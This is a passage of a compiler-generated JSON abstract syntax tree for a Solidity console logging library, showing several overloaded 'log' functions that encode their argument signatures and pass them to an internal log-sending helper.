memory"}],"expression":{"id":16998,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"11793:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16999,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"11797:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"11793:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17004,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11793:64:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16997,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"11777:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17005,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11777:81:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17006,"nodeType":"ExpressionStatement","src":"11777:81:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"11695:3:14","parameters":{"id":16995,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16990,"mutability":"mutable","name":"p0","nameLocation":"11713:2:14","nodeType":"VariableDeclaration","scope":17008,"src":"11699:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16989,"name":"string","nodeType":"ElementaryTypeName","src":"11699:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":16992,"mutability":"mutable","name":"p1","nameLocation":"11731:2:14","nodeType":"VariableDeclaration","scope":17008,"src":"11717:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16991,"name":"string","nodeType":"ElementaryTypeName","src":"11717:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":16994,"mutability":"mutable","name":"p2","nameLocation":"11749:2:14","nodeType":"VariableDeclaration","scope":17008,"src":"11735:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16993,"name":"string","nodeType":"ElementaryTypeName","src":"11735:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"11698:54:14"},"returnParameters":{"id":16996,"nodeType":"ParameterList","parameters":[],"src":"11767:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17028,"nodeType":"FunctionDefinition","src":"11871:168:14","nodes":[],"body":{"id":17027,"nodeType":"Block","src":"11943:96:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c626f6f6c29","id":17020,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11993:25:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_b0e0f9b5ad960213f9ab262d120ce4ec3edffc58d1ad51b99628a777e82d8acb","typeString":"literal_string \"log(string,string,bool)\""},"value":"log(string,string,bool)"},{"id":17021,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17010,"src":"12020:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17022,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17012,"src":"12024:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17023,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17014,"src":"12028:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b0e0f9b5ad960213f9ab262d120ce4ec3edffc58d1ad51b99628a777e82d8acb","typeString":"literal_string \"log(string,string,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":17018,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"11969:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17019,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"11973:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"11969:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17024,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11969:62:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17017,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"11953:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17025,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11953:79:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17026,"nodeType":"ExpressionStatement","src":"11953:79:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"11880:3:14","parameters":{"id":17015,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17010,"mutability":"mutable","name":"p0","nameLocation":"11898:2:14","nodeType":"VariableDeclaration","scope":17028,"src":"11884:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17009,"name":"string","nodeType":"ElementaryTypeName","src":"11884:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17012,"mutability":"mutable","name":"p1","nameLocation":"11916:2:14","nodeType":"VariableDeclaration","scope":17028,"src":"11902:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17011,"name":"string","nodeType":"ElementaryTypeName","src":"11902:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17014,"mutability":"mutable","name":"p2","nameLocation":"11925:2:14","nodeType":"VariableDeclaration","scope":17028,"src":"11920:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17013,"name":"bool","nodeType":"ElementaryTypeName","src":"11920:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"11883:45:14"},"returnParameters":{"id":17016,"nodeType":"ParameterList","parameters":[],"src":"11943:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17048,"nodeType":"FunctionDefinition","src":"12045:174:14","nodes":[],"body":{"id":17047,"nodeType":"Block","src":"12120:99:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c6164647265737329","id":17040,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"12170:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_95ed0195ee22a092ad93d352c33e8dc78b91f0c01eab9cff270af55b2ae65768","typeString":"literal_string \"log(string,string,address)\""},"value":"log(string,string,address)"},{"id":17041,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17030,"src":"12200:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17042,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17032,"src":"12204:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17043,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17034,"src":"12208:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_95ed0195ee22a092ad93d352c33e8dc78b91f0c01eab9cff270af55b2ae65768","typeString":"literal_string \"log(string,string,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":17038,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"12146:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17039,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"12150:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"12146:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17044,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12146:65:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17037,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"12130:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17045,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12130:82:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17046,"nodeType":"ExpressionStatement","src":"12130:82:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"12054:3:14","parameters":{"id":17035,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17030,"mutability":"mutable","name":"p0","nameLocation":"12072:2:14","nodeType":"VariableDeclaration","scope":17048,"src":"12058:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17029,"name":"string","nodeType":"ElementaryTypeName","src":"12058:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17032,"mutability":"mutable","name":"p1","nameLocation":"12090:2:14","nodeType":"VariableDeclaration","scope":17048,"src":"12076:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17031,"name":"string","nodeType":"ElementaryTypeName","src":"12076:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17034,"mutability":"mutable","name":"p2","nameLocation":"12102:2:14","nodeType":"VariableDeclaration","scope":17048,"src":"12094:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17033,"name":"address","nodeType":"ElementaryTypeName","src":"12094:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"12057:48:14"},"returnParameters":{"id":17036,"nodeType":"ParameterList","parameters":[],"src":"12120:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17068,"nodeType":"FunctionDefinition","src":"12225:157:14","nodes":[],"body":{"id":17067,"nodeType":"Block","src":"12288:94:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c75696e7429","id":17060,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"12338:23:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_291bb9d00defdc1b95c66c8b4bc10ef714a549c4f22fb190fe687dc5e85a4db1","typeString":"literal_string \"log(string,bool,uint)\""},"value":"log(string,bool,uint)"},{"id":17061,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17050,"src":"12363:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17062,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17052,"src":"12367:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17063,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17054,"src":"12371:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_291bb9d00defdc1b95c66c8b4bc10ef714a549c4f22fb190fe687dc5e85a4db1","typeString":"literal_string \"log(string,bool,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":17058,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"12314:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17059,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"12318:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"12314:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17064,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12314:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17057,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"12298:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17065,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12298:77:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17066,"nodeType":"ExpressionStatement","src":"12298:77:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"12234:3:14","parameters":{"id":17055,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17050,"mutability":"mutable","name":"p0","nameLocation":"12252:2:14","nodeType":"VariableDeclaration","scope":17068,"src":"12238:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17049,"name":"string","nodeType":"ElementaryTypeName","src":"12238:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17052,"mutability":"mutable","name":"p1","nameLocation":"12261:2:14","nodeType":"VariableDeclaration","scope":17068,"src":"12256:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17051,"name":"bool","nodeType":"ElementaryTypeName","src":"12256:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17054,"mutability":"mutable","name":"p2","nameLocation":"12270:2:14","nodeType":"VariableDeclaration","scope":17068,"src":"12265:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17053,"name":"uint","nodeType":"ElementaryTypeName","src":"12265:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"12237:36:14"},"returnParameters":{"id":17056,"nodeType":"ParameterList","parameters":[],"src":"12288:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17088,"nodeType":"FunctionDefinition","src":"12388:168:14","nodes":[],"body":{"id":17087,"nodeType":"Block","src":"12460:96:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c737472696e6729","id":17080,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"12510:25:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_e298f47d872a89293d316b9b936000a26f83eda2ba3171b2f9f16e2bf618c3e7","typeString":"literal_string \"log(string,bool,string)\""},"value":"log(string,bool,string)"},{"id":17081,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17070,"src":"12537:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17082,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17072,"src":"12541:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17083,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17074,"src":"12545:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e298f47d872a89293d316b9b936000a26f83eda2ba3171b2f9f16e2bf618c3e7","typeString":"literal_string \"log(string,bool,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":17078,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"12486:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17079,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"12490:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"12486:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17084,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12486:62:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17077,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"12470:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17085,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12470:79:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17086,"nodeType":"ExpressionStatement","src":"12470:79:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"12397:3:14","parameters":{"id":17075,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17070,"mutability":"mutable","name":"p0","nameLocation":"12415:2:14","nodeType":"VariableDeclaration","scope":17088,"src":"12401:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17069,"name":"string","nodeType":"ElementaryTypeName","src":"12401:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17072,"mutability":"mutable","name":"p1","nameLocation":"12424:2:14","nodeType":"VariableDeclaration","scope":17088,"src":"12419:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17071,"name":"bool","nodeType":"ElementaryTypeName","src":"12419:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17074,"mutability":"mutable","name":"p2","nameLocation":"12442:2:14","nodeType":"VariableDeclaration","scope":17088,"src":"12428:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17073,"name":"string","nodeType":"ElementaryTypeName","src":"12428:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"12400:45:14"},"returnParameters":{"id":17076,"nodeType":"ParameterList","parameters":[],"src":"12460:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17108,"nodeType":"FunctionDefinition","src":"12562:157:14","nodes":[],"body":{"id":17107,"nodeType":"Block","src":"12625:94:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c626f6f6c29","id":17100,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"12675:23:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_850b7ad637241a873b861925ccffb71aaffb030b1df8850f324c9804bc7b443d","typeString":"literal_string \"log(string,bool,bool)\""},"value":"log(string,bool,bool)"},{"id":17101,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17090,"src":"12700:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17102,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17092,"src":"12704:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17103,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17094,"src":"12708:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_850b7ad637241a873b861925ccffb71aaffb030b1df8850f324c9804bc7b443d","typeString":"literal_string \"log(string,bool,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":17098,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"12651:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17099,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"12655:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"12651:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17104,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12651:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17097,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"12635:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17105,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12635:77:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17106,"nodeType":"ExpressionStatement","src":"12635:77:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"12571:3:14","parameters":{"id":17095,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17090,"mutability":"mutable","name":"p0","nameLocation":"12589:2:14","nodeType":"VariableDeclaration","scope":17108,"src":"12575:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17089,"name":"string","nodeType":"ElementaryTypeName","src":"12575:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17092,"mutability":"mutable","name":"p1","nameLocation":"12598:2:14","nodeType":"VariableDeclaration","scope":17108,"src":"12593:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17091,"name":"bool","nodeType":"ElementaryTypeName","src":"12593:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17094,"mutability":"mutable","name":"p2","nameLocation":"12607:2:14","nodeType":"VariableDeclaration","scope":17108,"src":"12602:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17093,"name":"bool","nodeType":"ElementaryTypeName","src":"12602:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"12574:36:14"},"returnParameters":{"id":17096,"nodeType":"ParameterList","parameters":[],"src":"12625:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17128,"nodeType":"FunctionDefinition","src":"12725:163:14","nodes":[],"body":{"id":17127,"nodeType":"Block","src":"12791:97:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c6164647265737329","id":17120,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"12841:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_932bbb385d479707ff387e3bb2d8968a7b4115e938510c531aa15b50507fc27f","typeString":"literal_string \"log(string,bool,address)\""},"value":"log(string,bool,address)"},{"id":17121,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17110,"src":"12869:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17122,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17112,"src":"12873:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17123,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17114,"src":"12877:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_932bbb385d479707ff387e3bb2d8968a7b4115e938510c531aa15b50507fc27f","typeString":"literal_string \"log(string,bool,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":17118,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"12817:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17119,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"12821:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"12817:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17124,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12817:63:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17117,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"12801:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) 